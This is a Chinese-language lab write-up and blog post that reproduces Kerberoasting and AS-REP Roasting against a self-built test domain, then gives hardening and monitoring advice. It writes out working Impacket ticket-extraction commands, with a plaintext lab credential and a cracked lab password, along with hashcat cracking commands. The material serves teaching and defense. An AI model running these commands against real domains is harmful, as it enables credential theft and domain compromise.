一、基础测试信息
- 测试域环境:
xwf.example.test - 核心工具版本:Hashcat v6.2.6、Impacket、name-that-hash(哈希类型识别工具)
- 本次验证两类高风险 Kerberos 域内攻击:Kerberoasting(TGS 票据爆破)、AS-REP Roasting(AS 票据爆破)
二、Kerberoasting 攻击核心总结
1. 完整复现流程
- 环境前置配置:域控 PowerShell 执行
setspn为普通域用户hr001注册 MSSQL 服务 SPN,账户绑定 SPN 是攻击必要条件; - 票据抓取:攻击者持有低权限普通账号
it001,使用impacket-GetUserSPNs向 KDC 请求目标服务账户 TGS 票据,过滤提取$krb5tgs$23$格式哈希保存至本地; - 离线爆破:使用
hashcat -m 13100加载哈希与本地字典离线破解,成功还原hr001明文密码; - 关键特点:仅需任意域普通账号权限,无需目标服务账号密码,票据可离线长期破解。
2. 协议原理
标准 Kerberos 分为三段认证(AS-REQ→TGS-REQ→AP-REQ);绑定 SPN 的账户,其 TGS 票据负载由自身 NTLM 哈希加密,攻击者拿到密文后可本地字典遍历破解,不受域网络限制。
3. 加固修复方案
- 口令管控:人工服务账户设置≥32 位随机强密码,定期轮换、禁止弱口令与密码复用;
- 根治方案:业务服务统一使用gMSA 组托管服务账户,由域控自动生成超长随机密码,人工无法读取;
- 安全监控:审计 KDC 事件 ID 4769,对短时间批量请求多 SPN 票据的 IP 触发告警,定期清理绑定 SPN 的普通域用户。
三、AS-REP Roasting 攻击核心总结
1. 完整复现流程
- 环境前置配置:域用户
it001账户属性勾选「不需要 Kerberos 预身份验证」,关闭预认证为漏洞触发前提; - 票据抓取:通过 Impacket 工具无需任何账号密码,仅传入用户名即可向 KDC 获取 AS-REP 票据,导出
$krb5asrep$23$哈希; - 离线爆破:使用
hashcat -m 18200执行字典爆破,前期踩坑误用 13100 模式导致格式不匹配报错,更换对应模式后可正常破解用户密码。
2. 协议原理
正常 Kerberos 要求客户端携带密码加密时间戳完成预认证,KDC 校验后才下发 TGT;若账户关闭预认证,KDC 直接返回 AS-REP,其中会话密钥由用户 NTLM 哈希加密,攻击者可离线解密遍历获取明文。
3. 加固修复方案
- 紧急根治:取消用户「不需要 Kerberos 预身份验证」勾选,无老旧系统兼容场景全域禁用该配置;
- 全域巡检:批量扫描域内所有关闭预认证的高危账号,及时整改;
- 日志监控:审计域控事件 ID 4768,识别
Pre-Authentication Type=0(无预认证)的异常 AS 请求并告警拦截; - 辅助防护:域用户启用高强度密码、账户锁定策略,限制外部终端访问域控 LDAP 端口。
四、通用辅助工具与踩坑要点
name-that-hash工具可自动识别哈希类型、匹配对应 hashcat 模式号,避免模式参数填写错误;- 两类攻击哈希格式、hashcat 模式严格区分:
- Kerberoast:
$krb5tgs$23$→-m 13100 - AS-REP Roast:
$krb5asrep$23$→-m 18200
- Kerberoast:
- 两类攻击均属于离线爆破,仅依靠抓取的票据密文即可破解,在线防护策略无法完全阻断,必须从账户配置、服务托管层面根治。
五、整体风险结论
- Kerberoasting 风险面更广:企业大量业务服务账号绑定 SPN,仅需低权限域账号即可发起攻击;gMSA 是最有效根治手段;
- AS-REP Roasting 攻击门槛更低:无需任何域账号凭据,仅需目标用户名即可抓取票据,核心防护为强制开启 Kerberos 预认证;
- 基础防护共性:统一高强度口令、完整 Kerberos 审计日志、内网微分段缩小域控攻击面。
我要写一篇博客 美化一下 留出放图片的位置
内网 Kerberos 两大经典票据爆破:Kerberoasting & AS-REP Roasting 全复现与防御指南
前言
在内网渗透中,Kerberos 协议相关票据离线爆破是获取域内高权限账号的高频手段,分为两类经典攻击:Kerberoasting(TGS 票据爆破)、AS-REP Roasting(AS 票据爆破)。 本文基于自建域环境 xwf.example.test 完整复现两种攻击流程,拆解协议底层原理、记录实操踩坑点,并给出可落地的企业加固方案,附实操截图位置,方便配套图文阅读。
环境基础信息 测试域:
xwf.example.test爆破工具:Hashcat v6.2.6 攻击套件:Impacket、name-that-hash(哈希自动识别工具)
一、Kerberoasting:针对绑定 SPN 服务账号的离线爆破
1.1 漏洞前置环境配置(域控端)
原理前置
Kerberoasting 攻击触发的必要条件:域账户(用户 / 计算机)绑定 SPN(服务主体名称),企业 SQL、Web、中间件服务几乎都会配置 SPN,攻击面极大。
实操命令(域控 PowerShell 管理员执行)
- 为域普通用户
hr001注册 MSSQL 服务 SPN
setspn -A MSSQLSvc/sqlserver.xwf.example.test:1443 hr001
- 校验 SPN 是否挂载成功
setspn -L hr001
执行成功输出两条 SPN 记录,证明环境搭建完成。

1.2 Kali 攻击机:SPN 枚举 + TGS 票据哈希抓取
攻击前置权限:仅需任意一个普通域账号(本次使用低权限账号 it001),不需要目标服务账号 hr001 的密码。
完整抓取命令
impacket-GetUserSPNs xwf.example.test/it001:XianWenF1999. -dc-ip 192.168.111.10 -request | grep '\$krb5tgs' > /home/kali/Desktop/kerberoast_hash.txt
参数说明:
-request:主动向 KDC 请求 TGS 票据;grep '\$krb5tgs':过滤冗余日志,只保留爆破所需哈希;- 输出文件:桌面
kerberoast_hash.txt存储 TGS 密文哈希。
查看抓取的哈希文件
cat /home/kali/Desktop/kerberoast_hash.txt
哈希标准特征:以 $krb5tgs$23$ 开头,对应 Hashcat 专用模式 13100。

1.3 Hashcat 离线字典爆破全过程
正确爆破命令
hashcat -m 13100 /home/kali/Desktop/kerberoast_hash.txt /home/kali/Desktop/123.txt
参数释义:
-m 13100:固定标识 Kerberos TGS-REP 票据哈希,不可混用;- 第一个文件:抓取到的 TGS 哈希;
- 第二个文件:自定义密码字典。
爆破结果解读
日志关键标识 Status...........: Cracked 代表破解成功,日志末尾会直接输出 hr001 账号明文密码 Xwf19990104。 核心攻击结论:攻击者仅持有普通域账号,即可离线破解高权限服务账号,全程无需访问目标业务服务器。

1.4 Kerberoasting 协议底层原理
标准 Kerberos 三段认证流程:
- AS-REQ/AS-REP:客户端认证身份,从 KDC 获取 TGT 票据;
- TGS-REQ/TGS-REP:携带 TGT 申请服务专用 TGS 票据;
- AP-REQ/AP-REP:持 TGS 访问目标业务服务。
漏洞核心逻辑:
- 账户绑定 SPN 后,KDC 下发的 TGS 票据负载由服务账号自身 NTLM 哈希加密;
- 任意域内用户均可向 KDC 发起 TGS 票据请求,无需服务账号密码;
- 票据可离线导出、长期存储,脱离内网环境进行字典爆破,无法通过在线策略拦截。
1.5 企业级加固修复方案
方案 1:口令基线管控(临时缓解)
- 人工维护的服务账号统一使用32 位以上随机混合强密码,禁用生日、业务名、连续数字类弱口令;
- 所有服务账号独立口令,禁止跨业务复用密码;
- 设置 90 天强制密码轮换策略。
方案 2:gMSA 托管账户(根治方案,推荐)
组托管服务账户 gMSA 由域控自动生成、自动轮换超长随机密码,运维人员无法查看原始口令,从根源杜绝离线爆破风险。 所有 SQL、Web、中间件业务,逐步淘汰普通域用户,迁移至 gMSA 托管。
方案 3:日志审计与实时告警
- 监控域控 KDC 事件 ID
4769(TGS 票据请求日志); - 告警规则:同一 IP 短时间批量请求大量不同 SPN 的 TGS 票据,判定 Kerberoasting 扫描攻击;
- 定期巡检域内所有绑定 SPN 的普通用户,逐步替换为 gMSA。
二、AS-REP Roasting:免凭据获取用户 AS 票据爆破
2.1 漏洞前置环境配置(域控端)
漏洞触发条件
域用户账户属性勾选 不需要 Kerberos 预身份验证,关闭预认证后 KDC 不再校验客户端身份,直接返回加密 AS 票据。

2.2 Kali 攻击机:无凭据抓取 AS-REP 票据哈希
该攻击最大特点:不需要任何域账号、密码,仅输入目标用户名即可向 KDC 请求票据。
抓取命令
python3 GetNPUsers.py XWF.EXAMPLE.TEST/it001 -no-pass > /home/kali/Desktop/asrep3.txt
哈希标准特征:以 $krb5asrep$23$ 开头,对应 Hashcat 模式 18200。
2.3 Hashcat 离线爆破 & 实操踩坑记录
正确爆破命令
hashcat -m 18200 /home/kali/Desktop/asrep3.txt /home/kali/Desktop/123.txt
高频踩坑点
初期测试误用 -m 13100(Kerberoast 模式),程序报Signature unmatched哈希格式不匹配,两种票据哈希模式不可混用。
哈希类型辅助识别工具
遇到未知哈希可使用name-that-hash自动匹配对应 hashcat 模式号,避免参数错误:
# 安装工具
sudo apt install name-that-hash
# 识别哈希文件
nth /home/kali/Desktop/asrep3.txt

2.4 AS-REP Roasting 协议底层原理
正常 Kerberos 预认证机制
正常用户发起AS-REQ请求时,必须上传自身密码加密的时间戳,KDC 解密校验通过,才会下发 TGT 票据,防止匿名获取加密数据。
漏洞异常流程
- 攻击者仅传入目标用户名,发送不带预认证时间戳的
AS-REQ; - 账户开启免预认证,KDC 跳过身份校验,直接返回
AS-REP数据包; - AS-REP 包含两段加密内容:
- Session Key:目标用户 NTLM 哈希加密(攻击核心密文);
- TGT 票据:域 KRBTGT 账号哈希加密(攻击者无法解密);
- 攻击者本地遍历密码字典,计算 NTLM 哈希尝试解密 Session Key,解密成功即可获取用户明文密码。
2.5 漏洞修复加固方案
1. 紧急根治配置
- 打开「AD 用户和计算机」,选中风险用户 → 属性 → 账户;
- 取消勾选「不需要 Kerberos 预身份验证」,保存后立即生效;
- 管控规范:无老旧系统兼容需求时,全域禁止开启该选项,仅遗留老旧设备临时启用并单独隔离。
2. 全域漏洞巡检脚本
批量扫描域内所有关闭预认证的高危用户,定期巡检整改:
python3 GetNPUsers.py xwf.example.test/ -usersfile userlist.txt -no-pass
3. 安全日志监控
审计域控事件 ID 4768(AS 票据请求日志),重点匹配特征: Pre-Authentication Type = 0 = 客户端未携带预认证数据,判定 AS-REP 扫描攻击; 对接 SIEM 平台配置告警,短时间大量异常请求直接阻断攻击 IP。
4. 辅助防护策略
- 域内所有用户强制使用高强度长密码,提升离线爆破成本;
- 启用域账户锁定策略,抵御在线暴力破解;
- 内网微分段,限制普通终端、外网设备直连域控 389 LDAP 端口,缩小攻击面。
三、两种 Kerberos 攻击核心对比总结
表格
| 攻击方式 | 触发条件 | 哈希前缀 | Hashcat 模式 | 攻击门槛 | 根治方案 |
|---|---|---|---|---|---|
| Kerberoasting | 账户绑定 SPN | $krb5tgs$23$ |
13100 | 需任意普通域账号 | 使用 gMSA 托管服务账号 |
| AS-REP Roasting | 账户关闭 Kerberos 预认证 | $krb5asrep$23$ |
18200 | 仅需目标用户名,无需凭据 | 强制开启预身份验证 |
四、内网 Kerberos 通用安全基线
- 业务服务账号禁止使用普通域用户,统一迁移 gMSA;
- 全域强制开启 Kerberos 预认证,关闭免预认证配置;
- 域控完整开启 Kerberos 审计日志,对接告警平台监控异常票据请求;
- 特权账号、服务账号统一 32 位以上随机强密码,定期轮换;
- 内网网络分段,限制非运维终端访问域控 LDAP/KDC 服务端口。
文末小结
两类票据爆破均属于离线攻击,抓取票据后可脱离内网长期破解,仅靠防火墙、账户锁定无法完全防御,必须从账户配置、服务托管层面做根源加固。 日常渗透测试、企业安全巡检中,可优先扫描这两类漏洞,提前规避域权限沦陷风险。


评论(0)
暂无评论